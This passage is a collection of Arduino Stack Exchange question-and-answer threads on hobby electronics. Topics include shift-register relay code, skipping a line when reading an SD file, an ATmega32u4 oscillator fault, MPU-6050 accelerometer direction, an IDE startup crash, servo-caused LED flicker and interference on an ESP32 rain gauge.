    // turn on the output so the LEDs can light up:
  digitalWrite(latchPin, HIGH);

}

What is your current code for writing data to the shift register? Do you use the shiftOut() function, or SPI, or something else?

yes im using the shiftOut function.
Will post the code im using now.

I have updated my earlier answer based on your new code sample. Instead of posting your code changes as answers to your own question, you can edit your question itself, so that your question remains in the question area.

Working from shiftOut() backwards:
Parameters for shiftOut():

Syntax
shiftOut(dataPin, clockPin, bitOrder, value)
Parameters
dataPin: the pin on which to output each bit (int)
clockPin: the pin to toggle once the dataPin has been set to the
  correct value (int)
bitOrder: which order to shift out the bits; either MSBFIRST or
  LSBFIRST. (Most Significant Bit First, or, Least Significant Bit
  First)
value: the data to shift out. (byte)

The important part to notice is the value parameter, which is one 8-bit value, and along with the dataPin and clockPin, sets the 8 registers of the shift register to the 8 bits shifted in. Then, as you have in your code, you pull the latchPin high to latch the register values to the output pins.
Binary values can be represented in C++ as b00001010, where the b prefix notes that the number following is in binary notation, and not "one-thousand ten". If the least-significant bit refers to relay-0 and the most-significant bit refers to relay-7, then to turn on relay-0, you would make sure the last digit (least-signficant) is a one: b00000001. To turn on relays 0 and 1, send 'b00000011', and so on.
In your registerWrite() function, you call shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);, thus bitsToSend should be an 8-bit value, with each bit representing the state of one of the 8 relays on your relay board.
within registerWrite(), bitsToSend is set by the bitWrite() function, which sets the bit number identified by whichPin to the value represented by whichState, which are both parameters passed in from the function call. It's worth noting that bitsToSend is initialized to b00000000 and bitWrite() is called only once, and so there can be at most one bit turned on in the value to write; and thus only one relay active at a time.
registerWrite() is called from within relayControl(), and the whichPin value in registerWrite() comes from the bitToSet value in relayControl(), which in turn is called by the BLYNK_WRITE(V1) or BLYNK_WRITE(V2) functions. In both of those functions, you pass 49 or 50 as the bitToSet parameter, but there are only 8 bits in a byte, so the value passed should be between 0 and 7. You cannot set bit 49 of an 8-bit value.
Probably relayControl() should be called with a value between 0 and 7 for the last parameter.

EDIT Based on New Code
Your latest code shows some changes to the registerWrite() function:
void registerWrite(int whichPin) {

You have removed the parameter which contains the value to write to the particular bit position. Now you have no way to tell the function whether to turn the pin on or off.
// the bits you want to send
   uint8_t data = 1<<whichPin ;

By shifting a 1 to a particular bit position, you have no way to clear a bit, which is probably why you now cannot get an LED to turn off except by turning on the alternate LED.
  // turn off the output so the pins don't light up
  // while you're shifting bits:
  digitalWrite(latchPin, LOW);

  // shift the bits out:
  shiftOut(dataPin, clockPin, MSBFIRST, data);

    // turn on the output so the LEDs can light up:
  digitalWrite(latchPin, HIGH);
}

If you wish to maintain the current state of bits, you will need to declare data as a static variable, which means that it's value is retained even when the function ends and is again available when the function is called again. Further, by using the assignment (=) operator, all you are able to do is overwrite the existing data with the new data, erasing the previous data.
You can use the bitSet() and bitClear() functions to set (make equal to 1) and clear (make equal to zero) individual bits in a byte.
A new registerWrite() function might look like:
void registerWrite(int whichPin, int pinValue) {
  // the bits you want to send
  static uint8_t data;

  if (pinValue==1) {
    bitSet(data, whichPin);    // Turn on the bit at whichPin
  } else {
    bitClear(data, whichPin);  // Turn off the bit at whichPin
  }

  // turn off the output so the pins don't light up
  // while you're shifting bits:
  digitalWrite(latchPin, LOW);

  // shift the bits out:
  shiftOut(dataPin, clockPin, MSBFIRST, data);

    // turn on the output so the LEDs can light up:
  digitalWrite(latchPin, HIGH);
}

You noted you have been frustrated for days working on this, and your code examples have mixed coding conventions, so perhaps you are finding many different code examples and trying various ones until you find something that works. I would encourage you, however, to take it slow and read through each line of code you have and make sure you understand exactly what it does, and be sure you can explain to yourself why each statement or command is there. This will help you to see the path of execution for your code and be able to diagnose bugs and come up with solutions that directly fix the problem, rather than swapping and and out a multitude of snippets from websites and forums.

Hello Jose,
Thank you for clearing out the matter. Yes i've tried a lot of things and didn't get the clue. Think i mixed up to much. Most of the time missing part is closer than you think. The code is clear to me for 90% and need to study the scripting lanquage but also the hardware behind the code.
The bitset with the static variable did the trick.

You already had SPI in use. You can connect SCK to SRCLK, MOSI to Serial data in, and pick a pin for RCLK. D10 needs to be an output for the device to be SPI master. If it's used already, use that.
Then simply clock in the needed data:
digitalWrite (rclk, LOW);
SPI.transfer (yourData);
digitalWrite (rclk, HIGH); // outputs update on this rising edge

MRCLR connects to +5, OE/ connects to Gnd.
SPI.begin();

in setup() turns on the defaults of 4 MHz clock rate, MSBFIRST, and SPI Mode 0, that's all you need.


text:
how to read all line except the first line?
is there a way to read only 2nd up to the last line except for the first line?
here's my sample code
File myFile;
char cr;
void setup() {
  // Open serial communications and wait for port to open:
  Serial.begin(9600);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
  }

  Serial.print("Initializing SD card...");

  if (!SD.begin(4)) {
    Serial.println("initialization failed!");
    while (1);
  }
  Serial.println("initialization done.");

  // re-open the file for reading:
  myFile = SD.open("test.txt");
  if (myFile) {
    Serial.println("test.txt:");

    // read from the file until there's nothing else in it:
    while (myFile.available()) {
      Serial.write(myFile.read());

    }
    // close the file:
    myFile.close();
  } else {
    // if the file didn't open, print an error:
    Serial.println("error opening test.txt");
  }
}

void loop() {
  // nothing happens after setup
}

skip first line
bool firstLine = true;
while (myFile.available()) {
  int c = myFile.read();
  if (firstLine) {
    if (c == '\n') {
      firstLine = false;
    }
  } else {
    Serial.write(c);
  }
}

Why don't you do reads for the first line, ignore them and start the while thus:
while (myFile.available() && (myFile.read() != '\n') {}; // Empty while body
while (myFile.available()) {
  Serial.write(myFile.read());
}

@michael
how do i block/skip the first line and read the 2nd line up to the last line?

By reading the first line and don't use it as in the code above.

myFile.read(); reads only one byte/char

@Juraj Thanks and improved my answer accordingly

and what for is the endOfLineFound test in second while?

@Juraj It's indeed not needed, so it can be removed without any functional change. Thanks again. Also I removed the variable for the while condition.


text:
Custom atmega32u4 board crystal issue
So I built an custom board based on the Atmega32u4. Schematics attached.
I managed to burn a bootloader for Pro Micro using Arduino Uno as an ISP.
The issue I have is that the board is dead when powered and to bring it to life I have to short pin1 of my crystal with VCC for a second. I discovered it by mistake..
The crystal I'm using is an Epson X1G004451000212.
Any idea why is this happening?

That's a Crystal Oscillator, not a crystal. Take the 22pF caps off to start.
Did you set the fuses to use an external clock source, vs a crystal with the internal oscillator driver (where the caps would be needed)?
Is the part oriented the correct way so it receives power and Gnd correctly?
Also, is it's performance any better than if you had just used a crytal?
https://support.epson.biz/td/api/doc_check.php?dl=brief_SG7050CAN&lang=en
vs these with +/- 10ppm stability (is that the same +/- 10 x 10 ^ -6 ?, which would b be better than 25 to 100 x 10 ^ -6)
https://www.digikey.com/products/en/crystals-oscillators-resonators/crystals/171?k=crystal&k=&pkeyword=crystal&pv1989=0&pv183=6185&pv2150=u16MHz&pv253=19&FV=ffe000ab&quantity=0&ColumnSort=0&page=1&stock=1&pageSize=25

Note also that pin 1 of the oscillator is the standby pin.  Shorting it is probably starting the signal.

Why should I remove the caps? According to a atmega32u4 documentation, those are required for a typical bus powered application.
My fuses looks like this: lfuse: 0xff, hfuse: 0xd8, efuse: 0xcb.
I didn't know that there is a difference between crystal and crystal oscillator. I'm a total electronics noob and this is my first more complex design..

ok, I educated myself and now I know the difference and I know why you suggested removing the caps..If I replace my crystal oscillator with a crystal unit (this one https://uk.rs-online.com/web/p/crystal-units/9047516/) it should work fine? Off course I will remove the C5 and connect pads 2 & 4 of the crystal unit to ground as the documentations recommends. I will also change the caps to 10pf to match the CL of this crystal. Does it make sense?

eureka! I removed the caps as suggested and it's working without the magic jump of the oscillator stby pin. I will however redesign the board as above


text:
Determining direction from IMU accelerometer data
I am learning how to integrate sensors on arduinos and read their data.
My ultimate purpose is to place the IMU on a robot and use it in determining the robots location in an environment.
Using the following code, I am able to get accelerometer and temperature data:
// (c) Michael Schoeffler 2017, http://www.mschoeffler.de

#include "Wire.h" // This library allows you to communicate with I2C devices.

const int MPU_ADDR = 0x68; // I2C address of the MPU-6050. If AD0 pin is set to HIGH, the I2C address will be 0x69.

int16_t accelerometer_x, accelerometer_y, accelerometer_z; // variables for accelerometer raw data
int16_t gyro_x, gyro_y, gyro_z; // variables for gyro raw data
int16_t temperature; // variables for temperature data

char tmp_str[7]; // temporary variable used in convert function

char* convert_int16_to_str(int16_t i) { // converts int16 to string. Moreover, resulting strings will have the same length in the debug monitor.
  sprintf(tmp_str, "%6d", i);
  return tmp_str;
}

void setup() {
  Serial.begin(9600);
  Wire.begin();
  Wire.beginTransmission(MPU_ADDR); // Begins a transmission to the I2C slave (GY-521 board)
  Wire.write(0x6B); // PWR_MGMT_1 register
  Wire.write(0); // set to zero (wakes up the MPU-6050)
  Wire.endTransmission(true);
}
void loop() {
  Wire.beginTransmission(MPU_ADDR);
  Wire.write(0x3B); // starting with register 0x3B (ACCEL_XOUT_H) [MPU-6000 and MPU-6050 Register Map and Descriptions Revision 4.2, p.40]
  Wire.endTransmission(false); // the parameter indicates that the Arduino will send a restart. As a result, the connection is kept active.
  Wire.requestFrom(MPU_ADDR, 7*2, true); // request a total of 7*2=14 registers

  // "Wire.read()<<8 | Wire.read();" means two registers are read and stored in the same variable
  accelerometer_x = Wire.read()<<8 | Wire.read(); // reading registers: 0x3B (ACCEL_XOUT_H) and 0x3C (ACCEL_XOUT_L)
  accelerometer_y = Wire.read()<<8 | Wire.read(); // reading registers: 0x3D (ACCEL_YOUT_H) and 0x3E (ACCEL_YOUT_L)
  accelerometer_z = Wire.read()<<8 | Wire.read(); // reading registers: 0x3F (ACCEL_ZOUT_H) and 0x40 (ACCEL_ZOUT_L)
  temperature = Wire.read()<<8 | Wire.read(); // reading registers: 0x41 (TEMP_OUT_H) and 0x42 (TEMP_OUT_L)
//  gyro_x = Wire.read()<<8 | Wire.read(); // reading registers: 0x43 (GYRO_XOUT_H) and 0x44 (GYRO_XOUT_L)
//  gyro_y = Wire.read()<<8 | Wire.read(); // reading registers: 0x45 (GYRO_YOUT_H) and 0x46 (GYRO_YOUT_L)
//  gyro_z = Wire.read()<<8 | Wire.read(); // reading registers: 0x47 (GYRO_ZOUT_H) and 0x48 (GYRO_ZOUT_L)

//  // print out data
  Serial.print("aX = "); Serial.print(convert_int16_to_str(accelerometer_x));
  Serial.print(" | aY = "); Serial.print(convert_int16_to_str(accelerometer_y));
  Serial.print(" | aZ = "); Serial.print(convert_int16_to_str(accelerometer_z));
//  // the following equation was taken from the documentation [MPU-6000/MPU-6050 Register Map and Description, p.30]
  Serial.print(" | tmp = "); Serial.print(temperature/340.00+36.53);
//  Serial.print(" | gX = "); Serial.print(convert_int16_to_str(gyro_x));
//  Serial.print(" | gY = "); Serial.print(convert_int16_to_str(gyro_y));
//  Serial.print(" | gZ = "); Serial.print(convert_int16_to_str(gyro_z));
  Serial.println();

  // delay
  delay(1000);
}

Giving me output like the following:
aX =   3526 | aY =   -968 | aZ = -11988 | tmp = 25.89
aX =   3478 | aY =   -936 | aZ = -12020 | tmp = 25.91
aX =   3530 | aY =   -922 | aZ = -12002 | tmp = 25.91
aX =   3490 | aY =   -896 | aZ = -12006 | tmp = 25.94
aX =   3498 | aY =   -898 | aZ = -12036 | tmp = 25.91
aX =   3520 | aY =   -916 | aZ = -12050 | tmp = 25.91
aX =   3466 | aY =   -924 | aZ = -11960 | tmp = 25.91
aX =   3492 | aY =   -944 | aZ = -12026 | tmp = 25.92
aX =   3510 | aY =   -924 | aZ = -12048 | tmp = 25.91
aX =   3440 | aY =   -942 | aZ = -11980 | tmp = 25.91
aX =   3514 | aY =   -924 | aZ = -12066 | tmp = 25.91
aX =   3484 | aY =   -944 | aZ = -11968 | tmp = 25.92
aX =   3490 | aY =   -944 | aZ = -12012 | tmp = 25.92
aX =   3458 | aY =   -952 | aZ = -11944 | tmp = 25.92

What I need to know is how do I determine what direction my robot is moving in based on the accelerometer output?

You can't with any great accuracy.
The acceleration vector from the accelerometer is a combination of two things:

Gravitational acceleration
Acceleration due to change in the robot's velocity.

If the robot is travelling at a constant speed, there is no acceleration due to change in velocity, so the accelerometer will only be measuring gravity. No idea then how far the robot has gone.
If the robot is turning on the spot, again there is not acceleration change. So you don't know which direction the robot is facing!
You can get a rough idea of speed by integrating the acceleration, and distance by integrating speed. However any errors quickly accumulate, and thus the absolute distance may be very poor.
To get velocity (speed with a direction) or absolute position, you will need a magnetometer or gyroscope to estimate rotation.

You haven't described your robot but if it is a typical wheeled vehicle that can drive forward and backward, the accelerometer can give you one of those two directions (which is already known because you or your sketch commanded it). If in addition your robot can steer, the the accelerometer will give show a side force (aka centripetal acceleration or centrifugal force) in the direction of the turn.
Figuring out how much the robot turned (in order to get its current direction) is mathematically straight-forward but practically, it is noisy and subject to accumulating errors, as already pointed out.
If knowing orientation, thus direction of travel, is your goal, wouldn't a electronic compass (magnetometer) be of more help?

First you have to test, in which orientation the sensor on the IMU board is mounted. You can use your test sketch for this. If you don't move the sensor it will show you the gravitational force, which always points down. Orientate the IMU in such a way, that aX and aY are near zero. Now you know where up and down are. Move the IMU to the sides, until you found the direction, where only aX changes considerably, while aY is staying near zero. Then you have found the next direction.
Finally mount the IMU in your robot in the found orientation. Since you know, which of aX, aY and aZ change with which direction, you know the direction of the robots movement.


text:
Arduino IDE 1.8.6 not starting.
My Arduino IDE is not getting started. It just crashes before opening up. I don't know what the problem is. It was working well enough before without any issues.
This is what I see after running the arduino_debug.exe in the command line

Note: I added a library (DHT) to work with my humidity and temperature sensor and since after then, this issue comes up. I tried to reinstall it like more than 7 times, but the issue still persists.
Please help me with it. Thanks.

The cause of the problem is that you have a corrupted library index file. The solution is to delete the file, which will force the Arduino IDE to download a (hopefully) uncorrupted fresh version from the Internet:

Open the C:\Users\JK\AppData\Local\Arduino15 folder
Delete the file library_index.json
Try starting the Arduino IDE again

For anyone encountering this problem who is using an operating system other than Windows, the location of library_index.json is different:
On Linux:
/home/{username}/.arduino15 (a.k.a. ~/.arduino15)
On macOS:
/Users/{username}/Library/Arduino15
If using the Arduino IDE in portable mode:
{Arduino IDE installation folder}/portable

The issue of a corrupted library index file preventing the Arduino IDE from starting has been reported to the Arduino developers and they are already working on a fix:
https://github.com/arduino/Arduino/issues/7937

Had same issue when migrating from Arduino IDE 1.8.2 to 1.8.9
In my case, deleting just the library_index.json was not enough but a good hint.
I did also delete the subdirectories of "packages" directory (boards which I downloaded- the ESP32 board and the ESP8266 board), and all files (not folders) in C:\Users\%username%\AppData\Local\Arduino15\ except the preferences.txt
This solved the issue for me.

I had the same problem this morning when trying to launch the IDE (1.8.3).
I'm running Linux Mint 18.
Running the IDE from the command line showed the following errors:

The output hints at a problem with 'packages' so I renamed ~/.arduino15/package_index.json to package_index.json.old. The IDE was then able to be launched. 'package_index.json' can then be rebuilt by starting your boards manager through 'Tools->Board'.


text:
Flickering LED when servo moves
I just got to play around with Arduino lately so I'm really new on this stuff and sorry for the grammar error.
I got a work where I need to turn the LED on all the time, my plan is to add a slow fade in and fade out later but the problem occurs when I add the servo.
Everytime servo starts moving slowly or fast the LED kinda flickering/dim like it lost power and come back to normal after the servo stops moving.
Here's the scheme I used and the code, I only change some delay to 5ms and so to test it out but no matter what the led is keep flickering.
Im using nano v.3 clone if its matter.

#include <Servo.h>
Servo myservo;  // create servo object to control a servo
// twelve servo objects can be created on most boards

int pos = 100;    // variable to store the servo position
int ledpin3 = 3;

void setup() {
  myservo.attach(9);  // attaches the servo on pin 9 to the servo object
  pinMode(ledpin3, OUTPUT);
}

void loop() {
  digitalWrite(ledpin3, HIGH);
  delay(1000);

  for (pos = 99; pos <= 150; pos += 1) { // goes from 0 degrees to 180 degrees
                                         // in steps of 1 degree
    myservo.write(pos);              // tell servo to go to position in variable ‘pos’
    delay(15);                       // waits 15ms for the servo to reach the position
  }

  for (pos = 150; pos >= 30; pos -= 1) { // goes from 180 degrees to 0 degrees
    myservo.write(pos);              // tell servo to go to position in variable ‘pos’
    delay(15);                       // waits 15ms for the servo to reach the position
  }

  for (pos = 30; pos <= 99; pos += 1) { // goes from 0 degrees to 180 degrees
                                        // in steps of 1 degree
    myservo.write(pos);              // tell servo to go to position in variable ‘pos’
    delay(15);                       // waits 15ms for the servo to reach the position
  }
}

Try moving your LED digitalWrite in the setup as you are just turning it on.

Do you have a resistor on your LED?

Does the LED flicker with same sketch and the servo disconnected? If not I think power is the issue.

if it's only a cosmetic problem, add a resistor in series with the LED and a capacitor across the LED leads.

If you are powering the arduino via usb try not to do that or plug it in to an usb 3.0 (and higher) port. The reason for this is that the servo draws a lot of power and the standard usb 2.0 with 0.5A can't handle the load and you got an voltage drop. And in that period of time the led goes off. usb 3.0 (and higher) can handle up to 1.5A so this souldn't be an error.

Thanks for your reply coder,tried to put it on my 3.0 usb ready powerbank and also directly at wall with no luck,the led still go wild,do i need to power the servo from another source? I tried to really minimize the component since i barely got any space left

It would be better if you powered the servo from its own power source such as batteries during development / testing.  Later, if a larger power supply can be located, you might try using the same power source for both the Arduino and servos.  Remember that the servo ground needs to be connected to the Arduino ground as well as the independent power source ground.

This not only depends on the USB power source, but also in the diode, through which the current flows on the Arduino. If you draw too much current through it, you will fry the diode. You have to connect the servos power besides the Arduino,  not through it.


text:
How to avoid electromagnetic interference on ESP32 input
I've realized a simple circuit like the following, in order to implement a rain gauge that I can access via HTTP:

With the following sketch:
#include <WebServer.h>
#include <WiFi.h>
#include <WiFiClient.h>

/**
 * This constant is calculated with the following procedure:
 * - Area of pluviometer is 55 cm^2
 * - Volume of test water is 100 cm^2
 * Resulting height of water is 1.82 cm. Using this water quantity, generates 40 ticks of the pluviometer. So every tick is 0.455 mm of rain.
 */
const double millimetersPerTick = 0.455;
const char* ssid = "*********";
const char* password = "*********";

WebServer server(80);

/* LED pin */
byte ledPin = 2;
/* pin that is attached to interrupt */
byte interruptPin = 14;
/* hold the state of LED when toggling */
volatile byte state = LOW;
volatile int interruptCounter = 0;
int numberOfInterrupts = 0;
portMUX_TYPE mux = portMUX_INITIALIZER_UNLOCKED;

void IRAM_ATTR handleInterrupt() {
  portENTER_CRITICAL_ISR(&mux);
  interruptCounter++;
  portEXIT_CRITICAL_ISR(&mux);
}

void setup() {
  Serial.begin(115200);

  // WIFI initialization
  WiFi.mode(WIFI_STA);
  WiFi.begin(ssid, password);

  // Wait for connection
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("");
  Serial.print("Connected to ");
  Serial.println(ssid);
  Serial.print("IP address: ");
  Serial.println(WiFi.localIP());

  pinMode(ledPin, OUTPUT);
  /* set the interrupt pin as input pullup*/
  pinMode(interruptPin, INPUT_PULLUP);
  /* attach interrupt to the pin
  function blink will be invoked when interrupt occurs
  interrupt occurs whenever the pin change value */

   // Notify wifi connection
  digitalWrite(ledPin, HIGH);
  delay(2000);
  digitalWrite(ledPin, LOW);

  attachInterrupt(digitalPinToInterrupt(interruptPin), handleInterrupt, RISING);

  server.on("/", []() {
    server.send(200, "text/plain", String(millimetersPerTick * numberOfInterrupts));
    numberOfInterrupts = 0;
  });

  server.onNotFound([]() {
    server.send(404, "text/plain", "Not found");
  });

  server.begin();
}

void loop() {
  server.handleClient();

  if(interruptCounter>0) {
    portENTER_CRITICAL(&mux);
    interruptCounter--;
    portEXIT_CRITICAL(&mux);

    numberOfInterrupts++;
    Serial.print("An interrupt has occurred. Total: ");
    Serial.println(numberOfInterrupts);
    state = !state;
    digitalWrite(ledPin, state);
    delay(100);
    state = !state;
    digitalWrite(ledPin, state);
  }
}

The main issue of this circuit is that if I connect the AC plug it suffers from interferences from the household electricity. For example if I turn on the light, the interrupt is called. I tried also to buy an EMI filter like this but it doesn't reduce the problem. What can I do to avoid this?

I think it is moment you should try another interrupt pin(s).

I have to check better, but it seems that other have this issue with reed switches that in some configuration act like antennas and receive interferences (see here and here).

i would try two cheap/simple fixes: 1. a ferrite bead or two on the ac input and the dc output. 2. a smoothing capacitor across the vout of your hilink (100-2200u).

I tried with a battery pack and it happens. I suspect the problem is the long wire for reed switch that is working like an antenna.

I researched the power supply shown in your photo and found this comment:

esp8266 hilink